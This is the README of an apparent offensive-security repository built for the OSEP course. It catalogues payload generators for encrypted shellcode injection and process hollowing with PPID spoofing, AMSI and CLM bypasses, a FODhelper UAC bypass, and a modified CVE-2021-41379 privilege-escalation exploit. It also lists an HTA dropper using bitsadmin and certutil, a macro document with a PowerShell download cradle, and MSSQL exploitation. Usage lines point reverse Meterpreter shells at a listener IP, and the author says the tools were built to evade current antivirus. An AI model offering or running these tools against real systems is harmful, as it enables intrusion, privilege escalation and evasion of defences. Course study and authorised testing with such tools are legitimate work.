Collection of OSEP course tooling: AES-encrypted PowerShell and C# payload generators for process injection, hollowing with PPID spoofing, AMSI/CLM bypasses, UAC bypass, and MSSQL exploitation.
All of these tools were developed for use in the OSEP course. During development of them, as I learned more, in many cases I went above and beyond what the course taught because I figured "Why not build things against latest patch AV?". That is not to say that all of the things in this repo are now beating Live Defender; however at one point or another, most of them were. I hope that they may be of use to others, either for direct usage or to serve as inspiration for further work.
There is very little in terms of actual novel tradecraft here; it is a combination of a myriad of resources provided by people far smarter than I. The majority of the heavy lifting I did here was towards automation. I wanted an easy, standardized way to generate payloads for use in the OSEP course. All powershell and C# payloads contained within this repo utilize AES-256 encryption on the shellcode as well as a sleep statement for sandbox detection/evasion.
I offer no guarantees of any kind when using this stuff. Nothing in here was designed for public release, I am doing so after many requests. Make sure you read the notes provided on each tool in this README.
Powerinject.py - Python3 script to generate .PS1 payloads that perform process injection.
Powerhollow.py - Python3 script to generate .PS1 payloads that perform process hollowing with PPID spoofing.
Formatshellcode.py - Python3 script to format C# shellcode output by msfvenom into proper format for use with Builder.exe.
Port_ipeggs.py - Python3 script to format C# shellcode output by msfvenom into proper format for user with Builder.exe. FOR USE WITH CLI PAYLOADS! **NOTE: Does not work with all payloads. Confirmed works with reverse_tcp, confirmed DOES NOT work with HTTPS
NonDN2J.hta - hta file that utilizes bitsadmin, certutil, and installutil to download and execute a exe payload (installutil bypass capable) on victim click
D_Invoke - C# project that produces D/invoke payloads (basic, injector, hollower + ppid spoof) in exe, dll, or service exe format. Use pre-built builder.exe in the D_Invoke directory.
Shakeitoff - Modification of https://github.com/jbaines-r7/shakeitoff (CVE-2021-41379 variant) that allows user to specify file to replace target binary with and then starts the Microsoft Edge Elevation Service in order to execute the malicous binary. You need both the shakeitoff.exe and the shakeitoff.msi on target. Note that this will replace the elevation_service.exe so make a copy of it if you need to restore! Tested successfully on Windows 10, 11, Server 2016, and Server 2019. This is patched as of Dec 14th 2021 (KB5008212) and was assigned the new CVE-2021-43883. Check out the above linked repo for more information on the exploit and how to use it.
Usage: shakeitoff.exe -m c:\users\user\shakeitoff\shakeitoff.msi -i c:\users\user\write\ -c c:\users\user\source\repos\d_invoke\inject.exe -p "C:\Program Files (x86)\Microsoft\Edge\Application\96.0.1054.53\elevation_service.exe"
clinject - C# project source code for (IP + port + process) cli passed process injection payload. Use multi/handler with windows/x64/meterpreter/reverse_tcp
clinject.exe 192.168.1.198 443 explorer
clhollow - C# project source code for (IP + port + process + parent-process) cli passed process hollowing payload. Use multi/handler with windows/x64/meterpreter/reverse_tcp
clhollow.exe 192.168.1.198 443 c:\\windows\\system32\\svchost.exe explorer
sql - C# project source code for SQL.exe project for exploitation of MSSQL servers in AD.
x64_met_staged_reversetcp_inject.exe - Command line args: IP PORT PROCESS_TO_INJECT(explorer)
x64_met_staged_reversetcp_hollow.exe - Command line args: IP PORT PROCESS_TO_HOLLOW(c:\windows\system32\svchost.exe) PPID_SPOOF(explorer)
x64_met_staged_reversehttps_inject.exe - Command line args: IP PORT PROCESS_TO_INJECT(explorer)
x64_met_staged_reversehttps_hollow.exe - Command line args: IP PORT PROCESS_TO_HOLLOW(c:\windows\system32\svchost.exe) PPID_SPOOF(explorer)
ps-bypass - For use with InstallUtil. Contains AMSI binary patch. Will start an interactive powershell session in FullLanguageMode.
alt-bypass - Alternate custom ps-runspace for use in evading Applicatoin whitelisting. Will start and interactive powershell session in FullLanguageMode and functions better over remote shells than ps-bypass. Combination of https://github.com/superhac/OSEP/blob/main/InteractiveRunspace.cs and https://github.com/calebstewart/bypass-clm with a dynamic patch for AMSI. The AMSI patch works by locating AmsiUacInitialize and then locating the actual functions we want to patch (AmsiScanBuffer and AmsiScanString) by grabbing the 1000 bytes preceding AmsiUacInitiliaze and then locating the functions within them by byte array. This avoids the issue of hardcoding the offsets of the target functions from AmsiUacInitialize when the location of the functions change depending on Windows version.
Word_pscradle.docm - Word doc with caeser cipher encoding that calls powershell download cradle. Use with vbobfuscate.ps1 to generate and replace obfuscated text in pscradle.docm. This uses WMI dechaining, so still use x64 shellcode even if you are targeting x86 word!
vbobfuscate.ps1 - ps1 to generate caeser cipher code for pscradle. Make sure offsets match for encrypt/decrypt. First output is download cradle, last is app name for app name check before running.
uacbypass.ps1 - UAC bypass using FODhelper to elevate priviliges on a user account who has Administrator privs but is running in a medium integrity process. Usage: Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass;. .\bypass.ps1;alt
D_invoke:
This is a package built using TheWover's project and research as the foundation (https://github.com/TheWover/DInvoke, https://thewover.github.io/Dynamic-Invoke/).
The inspiration for this project was to simplify the process of generating compiled C# payloads. By using this project, a user never need open visual studio when creating payloads.
The steps for usage are this:
The foundation of this package is Builder.exe. This application allows the user to specify several options to include: